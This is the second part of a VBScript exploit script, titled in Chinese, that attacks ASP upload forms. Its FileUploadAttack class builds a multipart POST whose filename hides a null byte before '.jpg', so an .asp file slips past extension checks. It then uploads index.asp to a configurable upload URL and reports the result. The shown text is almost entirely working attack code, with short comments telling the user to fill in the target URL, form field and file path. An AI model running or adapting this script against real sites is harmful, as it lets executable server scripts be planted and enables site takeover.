ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本(2)

Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面构造了恶意文件扩展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面内容为合适内容
' 上传url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上传表单框的name
' 需上传文件路径
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上传成功" & fileUpload.getText()
Else
MsgBox "失败"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())